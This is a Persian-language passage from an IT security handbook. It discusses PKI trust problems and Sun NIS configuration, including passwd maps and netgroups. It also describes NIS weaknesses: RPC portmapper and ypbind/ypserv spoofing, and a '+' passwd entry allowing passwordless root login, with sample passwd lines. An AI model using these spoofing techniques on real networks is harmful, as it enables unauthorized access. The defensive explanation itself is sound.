 .گـردد مي واقع    مورد ترديد  يک فرآيند ل  كنفر مورد استفاده قرار گيرد      كه تنها بتواند توسط ي    كاي ذخيره نشود    تصادفي توليد و بگونه   

 Netscapeه ك ـهـايي   دانـيم بيـشتر رايانـه   اربر نهايي رايانه اسـت، و مـي  كليد وابسته به امنيت ك ةمتأسفانه هم توليد و هم ذخير

Navigator يا Internet Explorerه از اينترنـت  ك ـافزارهـايي را   هـا نـرم   بـسياري از ايـن رايانـه   . ستندني ـمن ينند اك را اجرا مي

                                                                                                                                            
146  Distinguished Name 
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download هـا بـه ويـروس آلـوده هـستند، برخـي از            بعـضي از ايـن رايانـه      . نندك افي از منبع آن اجرا مي     كاند بدون شناخت    دهرك
الات جدي  كعاملها و مرورگرهاي رايج دچار اش         باشند، و سيستم   مي  شده شده حاوي تراواهاي از پيش نصب      downloadهاي    برنامه

 سيـستم متـصل بـه       كه ي كان وجود دارد    كپس اين ام  . است راي آنها صادر شده    امنيتي طي ساليان گذشته ب     ةهستند و صدها وصل   
ارتهاي هوشمند  كارتخوانها و   ك گسترده از    ةاستفاد.  افراد ناشناخته مورد سوء استفاده قرار گرفته باشد        ة بوسيل ك نزدي ةه در گذشت  كشب
  .دسازن نميكممار را غيركاينانجام ند، اما كليد خصوصي افراد را دشوارتر كن است بتواند سرقت كمم

  اسامي مميزه، خود مردم نيستند

آمـده را   " اسـم مميـزه   "ه روي قـسمت     كصحت واقعي نامي    . افي نيست ك PKIاعتماد به   ايجاد  ليدهاي خصوصي براي    كحفاظت از   
ياسـتهاي  سنـد  كسي را تأييـد مـي  ك ـه امـضاي ديجيتـالي   كند هنگاميكتعهد مي مرکز صدور گواهي    دهيد؟ هر   چگونه تشخيص مي  

 ةه اسـم مميـز    ك ـنـد   كتضمين مي مرکز صدور گواهي    آن  سياستهاي  ه  كدانيد  جا مي كاز  . ندكصدور گواهي خود را دنبال      شدة   اعلام
  نند متعلق به اوست؟كر ميكه آنها فكروي گواهي واقعاً متعلق به فردي است 

؟ بـالعکس هاي خـصوصي باشـند يـا    تكبايد شردور گواهي مراکز صنيد؟ آيا كرا ارزيابي ميمرکز صدور گواهي     كچگونه اعتماد به ي   
مرکـز صـدور     كن اسـت ي ـ   كآيا مم . اندمشخص شده كه دولتها هنگاميكه منافعشان اقتضا كرده پاسپورتهاي جعلي هم صادر كرده            

کـز  امراز اين    يكند؟ از طرف ديگر چگونه ي     كخود را زير پا بگذارد و اسناد شناسايي ديجيتالي جاعلانه صادر            سياستهاي  هم  گواهي  
شـخص  هـاي   براي اطمينان مشتري، گواهينامـه    مراکز صدور گواهي    نيد؟ بعضي از    ك ديگر مقايسه مي  مرکز صدور گواهي    يک  را با   
. ننـد كاخذ مـي را  ١٥٠)گزارش تصديق (١٤٩مراکز صدور گواهي براي WebTrust يا ١٤٨)گزارش مميزي خدمات (SAS 70١٤٧ چون يثالث
اربران محدودي مهـارت و     كرده، اما   ك منتشر   PKI١٥٢هاي ارزيابي   خط مشي تابي بنام   ك ١٥١اكار آمري  انجمن ب  ة امنيت اطلاعات  ميتك

  .نمايندنند را ارزيابي كاستفاده ميها مشياين خطه از كآندسته از مراکز صدور گواهي ه بتوانند كان آنرا دارند كيا ام

 اعتبـار حـل      شناسـاييِ  هاي رسميِ ها، و سيستم     استانداردها، مميزي  توانند از طريق ايجاد     ، بسياري از اين سؤالات مي     از لحاظ نظري  
  . اما در عمل، تلاشهاي انجام شده تا امروز چندان اميدبخش نيستندتوان از مقررات نيز بهره گرفت؛ميبراي خلق استانداردها . شوند

  هاي بسيار زيادي وجود دارد رابرت اسميت

دام رابرات اسميت است؟  كفهميد متعلق به    جا مي كنيد؟ از   ك است چه مي  " رابرت اسميت "لق به   عه روي آن نوشته مت    ك گواهي   كبا ي 
افي بـراي شناسـايي     ك ـاطلاعـات   يعنـي شـامل      ؛باشدداشته   نام از فرد     ك از تنها ي   اطلاعاتي بيش  گواهي بايد    كه ي كروشن است   

را ميلـي   كتاين اطلاعـات    ) ندكاعتماد  واهي رابرت اسميت    گخواهد به   ميه  كفردي  (شما  ن است   كدر هر حال مم   . تاي فرد باشد  كو ي حقوقي  
هاي ديجيتـالي داراي قـسمتهايي بـراي     البته اگر اين گواهي. هاي بسيار زيادي وجود دارد  لذا براي شما هنوز رابرت اسميت    -ندانيد  

اربر افشا شوند حريم خصوصي آنها     كها بدون رضايت    اين شناسه اگر  ه  كگفتند  اربران اينترنت مي  كس افراد بودند،    كسن، جنس، يا ع   
: ارت شناسايي است  ك قوت   ةترين نقط جلوگيري از اين مسئله اصلي    . حق با آنها باشد   ان دارد   كام و البته    گرفته است مورد تجاوز قرار    

  .پذيري  بوجود آوردن هويت و مسئوليت درنتيجهحذف گمنامي و در عين حال حفظ حريم خصوصي، و

                                                                                                                                            
المللـي اسـت كـه    سازمانهاي خدماتي، يك استاندارد بـين مربوط به ) SAS؛ Statement on Auditing Standards (۷۰ ةاستانداردهاي مميزي شمارسياست    ۱۴۷

يـك ارزيـابي   . است آمده بوجود) AICPA؛ American Institute of Certified Public Accountants(شده آمريكا توسط مؤسسه حسابداران عمومي گواهي
SAS 70 كند كه يك مؤسسه خدماتي، اهداف و فعاليتهاي نظارتي خود را توسط يك شركت مستقل حسابرسي و مميزي بـه ارزيـابي و تأييـد رسـانده     تأييد مي

  .است
148  Service Auditor Report 

آيا يك مركز صـدور گـواهي فعـال از         كه  كند تا بفهمد    ك مجموعه اصول پذيرفته شده استفاده مي      ها، يك مميز واجد شرايط و مستقل، از ي         براي شبكه  WebTrust گواهيتحت     ۱۴۹
  .شرايط حداقل افشا، خط مشي، تجربيات، و روالهاي نظارتي برخوردار است يا نه

150  Attestation Report 
151  American Bar Association Information Security Committee 
152  PKI Assessment Guidelines 
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 راهنماي امنيت فناوري اطلاعات ٣٢٨ 

  نندك ميع داده را ساده ميهاي ديجيتال، تج گواهي

منـد  تبديل به ابزاري بـراي نقـض نظـام         - امنيت اجتماعي ايالات متحده      ةمثل شمار  -هاي جهاني    گذشته، شناساننده  ةطي دو ده  
هاي فراگيـري   ار روند و پرونده   كتوانند براي تجميع اطلاعات منابع متفاوت ب        هاي جهاني مي  شناساننده. اندحريم خصوصي افراد شده   

 ةتوانند ابزاري بسيار بهتـر از شـمار       زي بصورت بالقوه مي   ك مر ة منطق كشده از ي  هاي ديجيتالي صادر    گواهي .براي افراد بوجود آورند   
- را رفع مـي    - نادرستاطلاعات   -هاي امنيت اجتماعي      ضعف شماره امنيت اجتماعي براي تجميع اطلاعات باشند، چون بزرگترين         

؛ ننـد كگويند و گاهي اوقات نيز آنها را اشتباه تايپ مـي             اجتماعي خود را تعمداً نادرست مي      هاي امنيت   هاهي اوقات افراد شمار   گ. نندك
  .هاي ديجيتالي چنين اختياري از افراد سلب شده استاما با وجود گواهي

هـا بـه   تطبيـق شـماره  نند اطلاعات شناسايي فردي را تطبيق دهند، معمولاً اين روند بـدليل عـدم   كت سعي ميكامروز وقتي دو شر  
هـاي  ك احتمـال سـاختن بان      درنتيجـه  .ندكطراحي خود اين روند را ساده مي      نوع  هاي ديجيتالي بدليل      گواهي. ندكل برخورد مي  كمش

  .يابداطلاعاتي بزرگ اطلاعات فردي تجميع شده از منابع متعدد افزايش مي

  دهيد  را قرض ميليدك كيچگونه 

.  را بيـاورد ي شما كترونيك ال هاي  د و نامه  تان برو د به دفتر  يخواه  مي" كارل"دوستتان  و از   هستيد  يض   در بيمارستان مر   شمانيد  كفرض  
بايـد  شما  ،  شدار انجام   كه  كد؟ آيا بعد از اين    يار را انجام ده   كبايد اين شما  آيا  . ديبدهاو  را به   خود  ليد خصوصي   كار بايد   كبراي انجام اين  

 اسـتفاده   Aليـد خـصوصي     كوقتـي از    . ل دارد كافـزار مـش      نرم كبا قسمتي از ي   اربران  ك از   يكينيد  كد؟ فرض   ينكليد خود را باطل     ك
آيا از لحاظ قانوني او بايد . شود لي مواجه نميكنمايد با مش استفاده مي Bليد خصوصي   كشود، اما وقتي از       ل مواجه مي  كند با مش  ك مي

الي كه برنامه چه اش   كافزار بدهد تا آنها بتوانند بفهمند         هندگان نرم د را به توسعه   Aليد خصوصي   ك نسخه از    كه ي كاجازه داشته باشد    
  اندازد؟ مينليد عمومي را به مخاطره كار جامعيت زيرساخت كدارد؟ يا او با انجام اين

بعنـوان  . ت بر عهـده دارد    ك شر كدر ي وي  ه  كمربوط به نقشي است     و   ،به فرد خاصي نيست   متعلق  ليد خصوصي   كنيد  كفرض  حال  
ه دو نفـر آن     ك ـآيا درسـت اسـت      . شود  ه براي امضاي سفارشات خريد از آن استفاده مي        كبگيريد   درنظر   ليد خصوصي را  ك كمثال ي 

ه بايد سفارشـات خريـد را       كساني  ك از   كليد براي هري  ك ك ي -ليد خصوصي   كت بايد دو    كشرآن  ليد خصوصي را داشته باشند؟ يا       ك
   بسازد؟-نند كامضا 

  هكشبدر تصديق هويت 
 نـامطمئن و  ةك شـب كاري متصل به هم از طريق ي ـكه در آنها چند ايستگاه  كاربر در محيطهايي    كل تصديق هويت    كمشحل   براي

دهـيم اطلاعـات حـساب     ترجيح مـي سادگي براي . حلهاي زيادي پيشنهاد شده استاربران قرار دارند راهكاحتمالاً ناامن در دسترس  
 ةدهنـد ن است بخواهيم اطلاعات آن سرويسكمماطمينان بيشتر يره شود، اما براي زي ذخك مر ةدهند سرويس كاربر در ي  كاربري  ك
اربر ك ـه  ك ـبدليل ملاحظات امنيتي لازم است مطمئن شويم زماني       . هاي ديگر بصورت بلادرنگ ذخيره شود     دهندهزي در سرويس  كمر

 و بـدون افـشاي اطلاعـات محرمانـه روي           زيك ـ مر ةدهندشود، هويتش با استفاده از اطلاعات سرويس        اري مي ك ايستگاه   كوارد ي 
، امـا    ارائه شده  - LDAP، و   NIS  ،NIS+  ،Kerberos مثل   -حلهايي     راه مسئلهاگرچه براي اين    . شود نامطمئن تصديق مي   ةكشب

 Unixاري ك ـدر محيطهـايي بـا چنـدين ايـستگاه          ابتدا +NIS و   NIS. اند  پذيرفته نشده و بصورت قطعي     در سراسر جهان     كهيچي
 Windows NTعاملهاي مبتني بـر  اين محيطها قسمت مهمي از سيستمعلاوه بر  نيز LDAP و Kerberosشدند؛ و  ده مياستفا

  .دهندرا تشکيل مي
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  SUNاي هكخدمات اطلاعات شب

 Sunت ك شـر ١٥٣)NIS (ايهكخـدمات اطلاعـات شـب    پايگاه داده،   ةشدهاي راهبري توزيع   مشهورترين سيستم  ترين و   ي از قديمي  كي
 LDAPهـاي  دهنـده مي اخيرتر سـرويس  ك.  است NISتر    ه نوع بهبود يافته و البته پيچيده      ك،  عرضه شد  +NIS چند سال بعد     .است

 روي LDAP به خدمات مبتنـي بـر    Sunاربران  كنون  كاهم، و   ردك محبوبيت بيشتري پيدا     ١٥٤)توريكوزن دسترسي به داير    كل سب كپروت(
هنـوز در بـسياري از محيطهـا از آن         امـا   ،  ننـد ك استفاده ن  NISاز  که  اربران خود خواست    كز  ابدلايل امنيتي    Sun هكبا اين . آورند مي

  .شود استفاده مي

NIS هاي رمز عبور، فايلهاي گروه، جـداول       ود چندين رايانه بتوانند از فايل     شه باعث مي  كشده است   اي توزيع    سيستم پايگاه داده   ك ي
در حقيقت تنها در اما ها وجود دارند،  از رايانهكرسد فايلها روي هري  هرچند بنظر مي  . نندكه استفاده   كميزبانها و فايلهاي ديگر در شب     

). رار شـده اسـت    ك ـدهنده دوم ت   پشتيبان يا سرويس   كو احتمالاً روي ي   (شود     ناميده مي  NIS اصلي   ةدهنده سرويس كاند     رايانه ذخيره شده   كي
مثـل  (انـد   اصلي ذخيـره شـده  ةدهنده در سرويس كهايي  توانند از پايگاه داده      مي - NISهايگيرنده سرويس -ه  كهاي ديگر شب    رايانه

نگاشـتهاي    ايـن پايگاههـاي داده  . ه گويا اطلاعات بصورت محلي ذخيـره شـده اسـت   كنند كاي استفاده  بگونه) فايلهاي رمزهاي عبـور   
NISشوند  ناميده مي١٥٥.  

 رايانـه ذخيـره     كربندي روي ي ـ  كاربري و پي  ك چون تمام اطلاعات حساب      ،شودمي بزرگ آسانتر اداره     ةك شب ك ي NISاستفاده از   با  
  .ردك استفاده  هك سيستمهاي شبةهمتوان از آنها روي ميه كشود، درحالي مي

در مورد  . گرددهايشان افزوده مي  دادهبه   بعضي ديگر     و شوند  با فايلهاي متناظر خود جايگزين مي      NISدر نگاشتهاي   بعضي از فايلها    
و سـپس   ) etc/passwd/مثلاً  (ند  ك براي اعلام توقف عمليات خواندن فايل به سيستم استفاده مي         ) +( از علامت جمع     NISيلها  اين فا 

دهنده معمولاً چندين نگاشت سرويس. ندكميآغاز ) passwdمثل  (NIS نگاشت مناسب   ك را از ي   NISدهنده  پرس و جو از سرويس    
 .نـد ك پشتيباني مـي   etc/services/، و   etc/passwd  ،/etc/hosts/ مثل   etc/ ةه در شاخ  شدفايلهاي ذخيره ي از   كيرا بر اساس    

  :ن است به اين صورت ديده شودكگيرنده مم  سرويسك در يetc/passwd/بعنوان مثال، فايل 

root:si4NOjF9Q8JqE:0:1:Mr. Root:/:/bin/sh 
+:: 999:999::: 

شـدن  ه بـراي خوانـده    ك درخواسـت شـب    كگيرنده بخواند تـا ي ـ       را از سرويس   etc/passwd/شود برنامه، فايل      اين مسئله باعث مي   
دهنده سـاخته    روي سرويس  etc/passwd/ از فايل    passwdمعمولاً نگاشت   . ندكگيرنده ايجاد    روي سرويس  passwdنگاشت  

 اولين خط قابل تطبيق برسـد  ه بهكند، زمانيك  را بررسي مي  etc/passwd/ فايل   NISوقتي  . شود، هرچند هميشه اينطور نيست      مي
به "+" اربري به بعد از علامت      ك ة شناس كردن ي كاربري را با اضافه     كتوانيد عمليات دريافت حسابهاي       مي. ردكار را متوقف خواهد     ك

 )-(ه بـا علامـت تفريـق        ك ـاربري خاصي را با گذاشتن خطي       كهاي  توانيد شناسه   همچنين مي . نيدكاربران محدود   كتعداد خاصي از    
  .نيدكردن مستثني كشود از دريافت  شروع مي

NIS     ةهـا را از برخـي پايگاههـاي داد        ه بصورت انتخابي بعضي دامنـه     كسازد   همچنين شما را قادر مي /etc/passwd   نيـد ك وارد .
  : داشته باشيدetc/passwd/ زير را در فايل ةبعنوان مثال، اگر داد

root:si4NOjF9Q8JpE:0:Mr. Root:/:/bin/sh 
+: :999:999::: 

 رمز عبور مربـوط بـه خـود    ة داراي دادهريك وارد خواهند شد، اما NIS مربوط به passwdهاي موجود در نگاشت       داده ةليكآنگاه  
هـا و   UID ةهم ـ. نـد كگيرنده جلوگيري مي    آن در ماشين سرويس   قرار گرفتن   استفاده  مورد  جايگزين شده و از     " * "ه با كخواهند بود   
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. اربري نمايش دهند  كها را نيز مانند اسامي      ان فايلها و شاخه   ك مال ،ه فهرستهاي فايل  كاي  اربري را برداريد، بگونه   كاسامي حسابهاي   
آن شـاخه   ه  كبا اين فرض    (نند  كاربر را نگاشت    ك ة خان ةدرستي شاخ دهد ب   هاي مختلف اجازه مي   پوسته در   user~اين داده همچنين به     

  ). است شدهNFS ،mountبا استفاده از 

  NISهاي دامنه

 DNSهـاي   ها مشابه دامنه  اين دامنه .  مشخص نماييد  NIS١٥٦ ةدامن كنيد بايد ي  ك ربندي مي ك را پي  NISدهنده   سرويس كوقتي ي 
را معـين   ها  رايانه گروه راهبري    ك ي NISهاي  ه دامنه كنند، درحالي ك  منطقه از اينترنت را مشخص مي      ك ي DNSهاي  دامنه. نيستند

 در هـر زمـان تنهـا          رايانـه  كي ـ. شـود    دامنه استفاده مي   ك براي نمايش و تغيير نام ي      Unix در   domainnameن  فرما .نمايندمي
  .ندك خدمات ارائه NISهاي تواند به هر تعدادي از دامنه  باشد، اما ميNIS ة دامنكتواند در ي مي

بعـضي از نگارشـهاي     در   مـشابه     نامِ كم اين دو دامنه به ي     تنظي. نيدكخود استفاده ن  " هكگروه شب  "ة اينترنت خود بعنوان دامن    ةاز دامن 
sendmail     ة دامن كهمچنين استفاده از ي   . شده است باعث بروز مشكلاتي NIS شـود مخـاطرات    زده مـي  ه بـه آسـاني حـدس        ك

شه قبـل از هـر      ننـد تقريبـاً همي ـ    كبرداري   بهره NFS و   NISنقايص  نند از   كه تلاش مي  كابزارهاي نفوذگران   . آوردامنيتي پديد مي  
ان ك ـماك NISالبته نام دامنه     (.نندك استفاده   NIS مختلف نام دامنه اينترنت بعنوان نام دامنه         هايگونهنند از   كانجام هر تلاشي سعي مي    

  ).از روشهاي ديگر قابل تعيين است

  NISاي  هكهاي شب گروه

ه در كگروههاي شب. نيدكه ايجاد كان يا ماشينهاي روي شباربركگروههايي براي توانيد مي NIS١٥٧اي  هكگروههاي شببا استفاده از    
  .تر از آنها اربران هستند، اما بسيار پيچيدهكهاي محلي اصل شبيه گروه

 صـحيح از    ةردن و اسـتفاد   ك ـبـا مـشخص     .  است ان اشتباه كاهش ام كربندي و   كسازي فايلهاي پي  ه ساده ك گروههاي شب  ةهدف اولي 
  .سطح ايمني سيستم را ارتقا داده به منابع حياتي دسترسي دارند كردن افراد و ماشينهايي كتوان با محدود  ه، ميكهاي شبگروه

. شـود    نگهـداري مـي    etc/netgroup/ يا   usr/etc/netgroup/ در فايل    NIS اصلي   ةدهنده روي سرويس  ك گروه شب  ةپايگاه داد 
  : يا چند خط در قالب زير استكاين فايل شامل ي

Groupname member1 member2 … 

  : قالب اعضا چنين است. تعيين كنندNIS ة دامنك ميزبان و يكتوانند ي از اعضا ميهريك
(hostname, username, domainname) 

 نام  كيجاي  اگر  .  عضوي از گروه است    ، ميزبان در نام ميزبان    اربرِكباشد، آنگاه هر    خالي  ) username(اربري  ك ة شناس كيجاي  اگر  
  ١٥٨.شود گرفته مي درنظر  جاريةباشد، آنگاه دامنلي خا) domainname(دامنه 

  هكهاي شب نصب گروه

ه را در تعـدادي از فايلهـاي     كفايل گروه شـب   )  قرار گرفته  usr/etc/yp/makedbm/ه گاهي اوقات در مسير      ك (etc/yp/makedbm/ ةبرنام
  :ندك اند پردازش مي ه در مسيرهاي زير ذخيره شدهكپايگاه داده 

                                                                                                                                            
156  NIS Domain 
157  NIS Netgroups 

، يـا يـك نـام    )رانيك گروه شبكه از كارب( كاربري داشته باشد     ةاي ساخته شوند كه در آن هريك از اعضا يك شناس          هاي شبكه بگونه  بهترين راه اين است كه گروه        ۱۵۸
اي كه در آنها بعضي از اعضا كاربران هـستند و بعـضي از              هاي شبكه ساختن گروه ). يك گروه شبكه از ميزبانها    ( كاربري نداشته باشد     ةميزبان داشته باشد، ولي شناس    

  .دهداعضا ميزبان، احتمال خطا را افزايش مي
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/etc/yp/domainname/netgroup.dir 
/etc/yp/domainname/netgroup.pag 
/etc/yp/domainname/netgroup.byuser.dir 
/etc/yp/domainname/netgroup.byuser.pag 
/etc/yp/domainname/netgroup.byhost.dir 
/etc/yp/domainname/netgroup.byhost.pag 

  . شده باشدك لينvar/yp/ به ك بصورت سمبليetc/yp/ن است كه در بعضي ماشينها ممكتوجه داشته باشيد 

 ماشـينهاي  ةلي ـكاربران و ديگـري بـراي   ك ـ ةلي ـكي بـراي  ك ـ ي؛ه بـسازيد كتوانيد تنهـا دو گـروه شـب    ي داريد مي  كوچكاگر سازمان   
  .نندكربندي سيستم شما را آسانتر ميكاين گروهها ايجاد و راهبري فايلهاي پي. گيرنده سرويس

توانيـد    آنگاه مـي  . اربران هر دپارتمان بسازيد   ك گروه براي    كتوانيد ي ميمثلاً  . توانيد چند گروه بسازيد     ريد مي اگر سازمان بزرگتري دا   
  .ها نيز انجام دهيد ار را براي رايانهكتوانيد همين  البته مي.  زيرگروههاي ديگر باشدةه شامل همك گروه اصلي داشته باشيد كي

  :بگيريد درنظر زير راساختار مشابه با ساختاري  دپارتمان علوم كي

Math (mathserve,,) (math1,,) (math2,,) (math3,,) 
Chemistry (chemserve1,,) (chemserve2,,) (chem1,,) (chem2,,) (chem3,,) 
Biology (bioserve1,,) (bio1,,) (bio2,,) (bio3,,) 
Science Math Chemistry Biology 

ه بـه  كه روي شـب ك ـاربران و ماشـينهايي  ك ـردن ك ـهستند چون شما از آنها براي محدود ئز اهميت از بعد امنيت حا ه  كهاي شب   گروه
شـوند   سيـستم وارد مـي     كه بـه ي ـ   ك ـهـايي   ردن داده ك ـبراي محدود   . نيدك ها دسترسي دارند استفاده مي     رايانه ةشداطلاعات ذخيره 

هـا و فايلهـاي داده نظيـر        partitionسي بـه    ك ـ چـه    هك ـردن اين ك ـ بـراي محـدود      NFSه در فايلهاي    كتوانيد از گروههاي شب     مي
/etc/passwdدسترسي دارد بهره ببريد .  

  اربريكحسابهاي ورود ردن كه براي محدودكهاي شب استفاده از گروه

 استفاده  اند وارد شده  etc/passwd/ فايل   ةاربري بوسيل كدام حسابهاي   كه  كنترل اين كه براي   كهاي شب   توانيد از تسهيلات گروه     مي
بـه  @  نـشانه    كو ي ) +(نيد از علامت جمع     كه خاص را وارد     ك گروه شب  كاربري ي كبعنوان مثال اگر بخواهيد فقط حسابهاي       . نيدك

  :نماييدميه مورد نظر استفاده كگروه شبنام همراه 

root:si 4NOjF9Q8JqE:0:1:Mr. Root:/:/bin/sh 
+@operators::999:999::: 

همچنـين اگـر   . نندكبه حافظه منتقل مي NISاز نگاشت را اند  فهرست شدههامتصديه در گروه كي  اربرانكدستورات بالا رمز عبور     
اربري را مـستثني    ك ـاربران يا گروههاي    ك) -(توانيد با استفاده از علامت تفريق         نيد مي كه فهرست   كهاي شب استثناها را قبل از گروه    

  .نماييد

ها هـم بـصورت       روي بقيه نسخه  نون  كتا  نند و   ك  ار نمي ك NISهاي    سخه ن ة روي هم  netgroup@- و   netgroup@+نمادهاي  
نيد تا مطمئن شويد آنهـا همانگونـه        كنيد، سيستم خود را ارزيابي      كاگر قصد داريد از اين قابليتها استفاده        . اندردهكار ن كقابل اطمينان   

  .ندكفايت نميكور صرف خواندن اسناد براي اين منظشود که يادآوري مي. نندكه بايد عمل ميك

  NISهاي  محدوديت

نـد،  ك نتـرل مـي  كاربري را ك حسابهاي NISچون .  بودUnixهاي  هكموفق در شب  تجربيات  ، نقطه شروع بسياري از      NISاستفاده از   
آن توانيـد از      اربري داريد، مـي   ك حساب   كه شما ي  كند  كه اعلام   كل شب كه روي   كنيد  ك را قانع    NISدهنده   سرويس كاگر بتوانيد ي  
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اي مثـل   توانـد اطلاعـات محرمانـه        همچنـين مـي    NIS. ه استفاده نماييد  كشبآن   ةگيرند   سرويس كاربري براي نفوذ به ي    كحساب  
  .قرار دهدعموم رمزهاي عبور رمزشده را در دسترس 

ربندي مجدد كپي را  NISدهد سيستم     اربر اجازه مي  كه به   ك چند نقص طراحي وجود دارد       NISسازيهاي فروشندگان مختلف    در پياده 
  .NISسازي ، و گمراه سيستم فراخواني تابع از راه دورسازيگمراه: تواند انجام گيرد سازي به دو روش مياين گمراه. ندكو گمراه 

  RPCسازي گمراه

سيستم . ندنكه توابع سيستمهاي ديگر را فراخواني       كسازد    ه را قادر مي   ك سيستمهاي متصل به شب    ١٥٩)RPC (فراخواني تابع از راه دور    
NISرد سرويسهاي ك به عملRPC portmapper -ك ي daemon شـده بـراي   ه نامهاي خـدمات ارائـه  كRPC  ة را بـا شـمار 

 اسـتفاده   RPCه از   كهايي  دهندهسرويس.  وابسته است  -دهد  رد مطابقت مي  كتوان با آن خدمات تماس برقرار       ه مي ك IPپورتهاي  
ربندي مجدد كرسد يا پي  ارشان به پايان مي   كه  كنمايند، و زماني   ثبت مي  portmapperرا با   شود خود   ارشان آغاز مي  كنند وقتي   كمي
  .ردك حذف خواهند portmapper خودشان را از پايگاه داده ،گردندمي

ايـن مـسئله بـه      و  نـد،   ك ثبـت    RPC ةدهنـد  سرويس كخود را بعنوان ي   قادر بود   اي   هر برنامه  portmapper ةهاي اولي   نسخهدر  
. دن ـنند و با فايلهاي رمز عبور خودشان به درخواسـتها پاسـخ ده            ك خود را ثبت     NISهاي  دهندهه سرويس كداد  مين فرصت مي  مهاج

 پورت كه از دستگاه راه دور آمده باشد، يا به ي  ك تقاضاهاي ثبت يا حذف خدمات را درصورتي       portmapperهاي فعلي     بيشتر نسخه 
توانـد تقاضـاهايي      اربر اصلي مي  كبنابراين تنها   . نندك آيد، رد مي  مجاز مي  پورت غير  كه از ي  شد اتصال شروع  كه از ي  كمجاز بازگردد   

تواننـد بـصورت محلـي انجـام        ردن نگاشتهاي خدمات به پورتهاي مجاز انجام دهد، و تمام تقاضاها فقط مـي             كبراي اضافه و حذف     
  .دهندها را انجام نميدگان اين بررسي فروشنةهممربوط به  daemon portmapperهاي  با اينحال نسخه. شوند

از لحـاظ نظـري حتـي بـا         . شـوند   مجـاز ثبـت مـي      معمولاً روي پورتهاي غير    NIS و بعضي از خدمات      NFSه  كتوجه داشته باشيد    
نـد تـا بتوانـد بـه     ك مخـصوص جـايگزين   ة برنام ـكي از اين خدمات را با ي ـ      كتواند ي   ه در بالا فهرست شد، مهاجم مي      كهايي  بررسي
  .گردددار ه امنيت سيستم خدشهكاي پاسخ دهد هاي سيستم بگونهتقاضا

  NISسازي گمراه

 محلي بـه نـام      daemon كي. نندك اطلاعات دريافت مي   NIS ةدهند سرويس ك از ي  ،RPC با استفاده از     NISگيرندگان    سرويس
ypbind      اطلاعات تماس را براي daemon دهنـده    سرويس ة مربوطNIS      بـه نـام ypserv  داردفظـه نگـه مـي      در حا .ypserv 

  .تواند بصورت محلي يا راه دور اجرا شده باشد مي

ه مثل ك برنامه كه يكان وجود داشت كاين ام) هاي فروشندگان ديگر و احتمالاً نسخه (NISخدمات  از Sun OS ةهاي اولي تحت نسخه
ypserv ند و به تقاضاهاي     كار مي كypbind  دهد را    جواب ميinstantiate ـ  .ردك   محلـي   deamonتـوان بـه     صورت مـي   در آن
ypbind    ه بجاي   ك فرمان دادypserv    ربندي كسيستم را طوري پي   تواند    بنابراين مهاجم مي  . ندك مشابه استفاده      واقعي از آن برنامه

  !يردقرار بگاستفاده مورد  خودش از فايل رمز عبور براي پاسخگويي به تقاضاهاي ورود به سيستم ةبراي مثال نسخه كند ك

ار ك ـشـروع بـه   هنگام صدور دستور  ه  ك است   -s يا   -secureخط فرمان   پارامتر   ك حاوي ي  ypbind از   NISسازيهاي فعلي   پياده
daemonاستفاده شده باشد، اين پارامتر اگر از . ار رودكبتواند  ميypbind daemon هـاي  دهنـده  هيچ اطلاعاتي را از سـرويس

ypserv كي ـبخواهـد   ياربركاگر لذا . شوند نخواهد پذيرفت  نمي مجاز اجراهايه روي پورتك ypserve daemon   جعلـي وارد
  . وجود نداردsecure-پارامتر اي براي عدم استفاده از نندهكمعمولاً دليل قانع. شودناديده گرفته ميتلاشش ند كحافظه 

ه ك را روي هر ماشين ديگر متصل به شـب         rootري  اربكاگر مهاجم بتواند حساب     .  نقص است  ك داراي ي  secure-پارامتر  متأسفانه  
 خودش بـه اجـرا درآورد، بـراي انجـام حملـه تنهـا بايـد                 NIS را با استفاده از اطلاعات       ypserv نسخه از    كند و ي  كمحلي عوض   
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ypbind     پـورت مجـاز درحـال      كن است روي ي   كشده مم  مورد حمله واقع   ةدهندسرويس. دهنده اشاره دهد   هدف را به آن سرويس  
 سيـستم سـازگار     كه روي ي  ك قلابي بنويسد    ypserv كتواند ي   مهاجم همچنين مي  . اجرا باشد، و لذا پاسخهاي آن رد نخواهند شد        

دهنده را روي هـر  تواند سرويس اربر ميكپورتهاي مجاز در اينحالت معناي خاصي ندارند، لذا هر . درآيداجرا به هاي شخصي رايانهبا  
  .نمايد مقصد تأمين ypbindت را براي روند ند و اطلاعاكپورتي اجرا 

NIS شود سردرگم مي"+"  با  

لات امنيتـي   ك مـش  NISن اسـت    ك ـننـد، مم  كهاي صحيح تماس برقرار مـي     دهنده با سرويس  NISهاي  گيرنده  حتي وقتي سرويس  
هـايي در مـورد علامـت     درگمي باعث بروز سـر NISتوسعة اوليه و مجدد    يبي از اشتباهات در     كبعنوان مثال تر  . ديگري بوجود بياورد  

  .است شده etc/passwd/ در فايل NIS) +(جمع 

گيرنده باشد، و نـه        روي سرويس  etc/passwd/در فايل   ) +(ه علامت جمع    كنيد بسيار مراقب باشيد     ك  استفاده مي  NISاگر شما از    
توانـد بعنـوان      ، علامت جمع مـي    Unix  عامل  هاي سيستم    تحت بعضي از نسخه    NISهاي  دهندهدر سرويس . هادهندهروي سرويس 

"+" نـام   اربري با   ك حساب   كسب اطمينان از نداشتن ي    كل،  كترين روش براي پيشگيري از اين مش        ساده. اربري تعبير شود  كنام   كي
  . استNIS ةدهندروي سرويس

، خـط   NISهاي اوليه     نسخهدر  . ل ديگر است  ك مش كدهنده گذاشت ي   بايد روي سرويس    را ه چه چيزهايي  كتلاش براي فهميدن اين   
  :زير هم وجود داشت

+::0:0::: 

  . صحيح بودSolaris و SunOSه در ك

 درحال اجرا نبود، گاهي اوقات علامت جمع بعنـوان نـام   NISوقتي . شدل ميك مشك خط باعث بوجود آمدن ي   كمتأسفانه همين ي  
اعـلان  بدون رمز عبور به   وسيستم به رايانه وارد شود "  "+ردنك توانست با تايپ    سي مي ك و هر    شد  گرفته مي  درنظر   اربريكحساب  
  ١٦٠.شداربر وارد ميكترين ه آن فرد با امتيازات پردسترسيك بدتر از همه اين.ندكدسترسي پيدا فرمان 

 علامـت جمـع را    . بود"+" اربر  ك رمز عبور براي     كاستفاده از ي   NISهاي  گيرنده در سرويس   روش براي به حداقل رساندن خطر      كي
  :بگيريد درنظر در حالت زير

+: :0:0::: 

ن، اما تمـام رمزهـاي      ك را وارد    passwdفايل نگاشت   "ه  كست   ا ، اين قلم داده به اين معنا      NISهاي  متأسفانه، تحت بعضي نسخه   
ايـن قلـم داده     وجود  بنابراين  . ردكسي به سيستم جلوگيري مي    كاز ورود هر    طبيعتاً  ار  ك، و اين  "تغيير بده " "شده را به    عبور رمزگذاري 

